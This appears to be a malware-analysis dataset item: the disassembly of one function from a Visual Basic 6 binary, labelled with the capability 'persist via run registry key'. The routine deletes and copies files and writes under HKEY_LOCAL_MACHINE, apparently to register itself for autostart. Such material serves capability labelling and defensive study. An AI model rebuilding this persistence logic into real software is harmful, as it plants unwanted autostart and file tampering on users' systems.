Function at 0x451c00
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x402ff6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x144
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x402df8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
mov edx, 0x418214
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x90]
push ecx
call fcn.00442c20
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 3
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
push 1
push 0xffffffffffffffff
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaFileOpen]
mov dword [ebp - 4], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 5
mov dword [0x457134], 0
mov dword [ebp - 4], 6
push 1
call dword [sym.imp.MSVBVM60.DLL_rtcEndOfFile]
movsx ecx, ax
test ecx, ecx
jne 0x452428
mov dword [ebp - 4], 7
mov dword [ebp - 0x40], 0
mov dword [ebp - 4], 8
lea edx, [ebp - 0x38]
push edx
push 1
push 0x418e58
call dword [sym.imp.MSVBVM60.DLL___vbaInputFile]
add esp, 0xc
mov dword [ebp - 4], 9
call dword [sym.imp.MSVBVM60.DLL_rtcDoEvents]
mov dword [ebp - 4], 0xa
mov edx, dword [ebp - 0x38]
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 4], 0xb
push 1
push 0xffffffffffffffff
push 1
push 0x415418
push 0x419500
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcReplace]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 0xc
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xe0], 0x4008
lea edx, [ebp - 0xe0]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
mov dword [ebp - 4], 0xe
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 0xf
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0xe0], 2
mov dword [ebp - 0xe8], 0x190
mov dword [ebp - 0xf0], 2
mov dword [ebp - 0xf8], 1
mov dword [ebp - 0x100], 2
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x100]
push edx
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x30]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarForInit]
mov dword [ebp - 0x14c], eax
jmp 0x451efe
mov dword [ebp - 4], 0x10
lea eax, [ebp - 0x3c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xe0], 0x4008
push 0
lea ecx, [ebp - 0xe0]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcDir]
mov edx, eax
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x415418
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
inc eax
neg eax
mov word [ebp - 0x108], ax
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx edx, word [ebp - 0x108]
test edx, edx
je 0x451e6d
jmp 0x451f0b
mov dword [ebp - 4], 0x13
mov dword [ebp - 0xd8], 0x190
mov dword [ebp - 0xe0], 0x8002
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xe0]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstEq]
movsx edx, ax
test edx, edx
je 0x451eae
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x40], 1
mov dword [ebp - 4], 0x16
push 0x4195d8
call dword [sym.imp.MSVBVM60.DLL___vbaI4Str]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00443b30
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x124]
push edx
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarForNext]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x451e06
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x40], 1
jne 0x452143
mov dword [ebp - 4], 0x19
mov dword [0x457134], 1
mov dword [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x34]
add ecx, 1
jo 0x4526b2
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 0x1b
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x64]
push eax
call fcn.0044d140
mov dword [ebp - 4], 0x1c
push 1
mov ecx, dword [ebp - 0x3c]
push ecx
push 0x417c8c
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaInStr]
xor edx, edx
test eax, eax
setg dl
neg edx
xor ebx, ebx
cmp dx, 0xffff
setne bl
push 1
mov eax, dword [ebp - 0x3c]
push eax
push 0x417c9c
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaInStr]
xor ecx, ecx
test eax, eax
setg cl
neg ecx
xor edx, edx
cmp cx, 0xffff
setne dl
and ebx, edx
test ebx, ebx
jne 0x45213e
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xd8], 0x417cac
mov dword [ebp - 0xe0], 8
push 0x22
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0xf0], 8
push 0x22
lea edx, [ebp - 0xc0]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0xb0]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xc0]
push edx
lea eax, [ebp - 0xd0]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
mov edx, eax
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
lea ecx, [ebp - 0xc0]
push ecx
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x90]
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x14
mov dword [ebp - 4], 0x1e
push 0x417bd0
push 0x80000002
call fcn.0044e260
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x88], 0x80020004
mov dword [ebp - 0x90], 0xa
mov dword [ebp - 0x104], 1
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x104]
push eax
mov eax, 0x10
call sub.MSVBVM60.DLL___vbaChkstk
mov ecx, esp
mov edx, dword [ebp - 0x60]
mov dword [ecx], edx
mov eax, dword [ebp - 0x5c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x58]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x54]
mov dword [ecx + 0xc], eax
push 0x417d3c
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
call fcn.0044d240
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x78]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x20
call fcn.0044e3b0
jmp 0x452423
mov dword [ebp - 4], 0x23
mov ecx, dword [ebp + 0x10]
cmp word [ecx], 0xffff
jne 0x452203
mov dword [ebp - 4], 0x24
push 0
push 0xffffffffffffffff
push 1
push 0x415418
mov edx, dword [0x457128]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcReplace]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x90], 8
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov dword [ebp - 4], 0x25
push 1
push 0xffffffffffffffff
push 1
push 0x415418
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarVal]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcReplace]
mov edx, eax
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x90]
push edx
call fcn.00451a80
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x78]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
jmp 0x4523a7
mov dword [ebp - 4], 0x27
cmp dword [0x4584b8], 0
jne 0x45222f
push 0x4584b8
push 0x4172a4
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x150], 0x4584b8
jmp 0x452239
mov dword [ebp - 0x150], 0x4584b8
mov edx, dword [ebp - 0x150]
mov eax, dword [edx]
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x108]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x108]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jge 0x452291
push 0x14
push 0x417294
mov edx, dword [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x154], eax
jmp 0x45229b
mov dword [ebp - 0x154], 0
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x110], ecx
lea edx, [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x110]
push edx
call dword [ecx + 0x50]
fnclex
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jge 0x4522ee
push 0x50
push 0x4172b4
mov eax, dword [ebp - 0x110]
push eax
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x158], eax
jmp 0x4522f8
mov dword [ebp - 0x158], 0
push 0
push 0xffffffffffffffff
push 1
push 0x415418
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcReplace]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x90], 8
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
mov dword [ebp - 4], 0x28
push 1
push 0xffffffffffffffff
push 1
push 0x415418
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarVal]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcReplace]
mov edx, eax
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x90]
push edx
call fcn.00451a80
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x78]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x2a
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcFileCopy]
mov dword [ebp - 4], 0x2b
push 1
mov ecx, dword [ebp - 0x3c]
push ecx
push 0x417c8c
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaInStr]
xor edx, edx
test eax, eax
setg dl
neg edx
xor ebx, ebx
cmp dx, 0xffff
setne bl
push 1
mov eax, dword [ebp - 0x3c]
push eax
push 0x417c9c
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaInStr]
xor ecx, ecx
test eax, eax
setg cl
neg ecx
xor edx, edx
cmp cx, 0xffff
setne dl
and ebx, edx
test ebx, ebx
jne 0x452423
mov dword [ebp - 4], 0x2c
lea eax, [ebp - 0x3c]
push eax
call fcn.0044cfd0
jmp 0x451cb7
mov dword [ebp - 4], 0x30
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaFileClose]
mov dword [ebp - 4], 0x31
mov ecx, dword [ebp + 0x10]
cmp word [ecx], 0xffff
jne 0x45248e
mov dword [ebp - 4], 0x32
mov edx, dword [0x457128]
push edx
push 0x4184dc
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x90], 8
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
jmp 0x4525cd
mov dword [ebp - 4], 0x34
cmp dword [0x4584b8], 0
jne 0x4524ba
push 0x4584b8
push 0x4172a4
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x15c], 0x4584b8
jmp 0x4524c4
mov dword [ebp - 0x15c], 0x4584b8
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
mov dword [ebp - 0x108], edx
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x108]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jge 0x45251c
push 0x14
push 0x417294
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x160], eax
jmp 0x452526
mov dword [ebp - 0x160], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x110], eax
lea ecx, [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x110]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x110]
push ecx
call dword [eax + 0x50]
fnclex
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jge 0x452579
push 0x50
push 0x4172b4
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x164], eax
jmp 0x452583
mov dword [ebp - 0x164], 0
mov ecx, dword [ebp - 0x78]
push ecx
push 0x4184dc
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x90], 8
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x78]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x80]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea ecx, [ebp - 0x90]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
push 0x452682
jmp 0x452632
lea edx, [ebp - 0x134]
push edx
lea eax, [ebp - 0x124]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
ret
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
int3